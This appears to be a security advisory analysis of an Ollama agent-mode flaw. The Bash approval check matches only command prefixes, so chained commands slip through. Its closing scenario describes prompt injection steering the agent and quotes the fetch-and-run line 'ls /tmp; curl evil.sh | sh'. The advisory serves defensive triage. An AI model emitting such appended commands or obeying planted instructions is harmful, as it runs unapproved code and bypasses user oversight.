Ollama EUVD-2026-89089

Requires Ollama's experimental agent mode to be enabled with the Bash tool in use and a user actively approving commands. The specific flaw is that the approval mechanism performs prefix-based authorization and does not parse shell control operators, so an attacker must be able to influence model output via prompt injection (e.g., malicious content the agent reads) to append semicolons or logical operators (';', '&&', '||') to an already-approved command. Limiting factors: local attack vector (agent runs on the victim host), the feature is experimental and not enabled by default, and user interaction is needed to approve at least one command in the session.

This is a genuine but conditionally-gated risk rather than a mass-exploitation threat. The CVSS 4.0 base score of 8.5 (AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H) reflects full high impact to confidentiality, integrity and availability via arbitrary local command execution, but the local attack vector (AV:L) and passive user interaction (UI:P) show it is not a remote 'send-one-packet' bug - it depends on Ollama's experimental agent mode being enabled and a user driving an approval workflow. No EPSS score, no CISA KEV listing, and no public exploit code are provided in the intelligence, so this is 'no public exploit identified at time of analysis' - despite the high CVSS. There is no SSVC decision block supplied. The CWE-863 (incorrect authorization) root cause is well-corroborated by the VulnCheck advisory and the vendor's own approval.go source lines, so the vulnerability itself is confirmed and patched (v0.31.2); the real-world urgency is moderated by the experimental, non-default nature of the affected feature. Net: real and worth patching for anyone running agent mode, but not an emergency-everywhere issue.

A user runs Ollama's experimental agent mode and approves a seemingly benign Bash command (e.g. 'ls /tmp'). Because the approval mechanism does not parse shell syntax, an attacker who can influence model output through prompt injection - for instance by planting instructions in a document, web page, or file the agent reads - coaxes the model into emitting 'ls /tmp; curl evil.sh | sh', and the appended command executes without ever being approved. No public exploit code is referenced, but the flaw is precisely described by VulnCheck and confirmed in the vendor patch.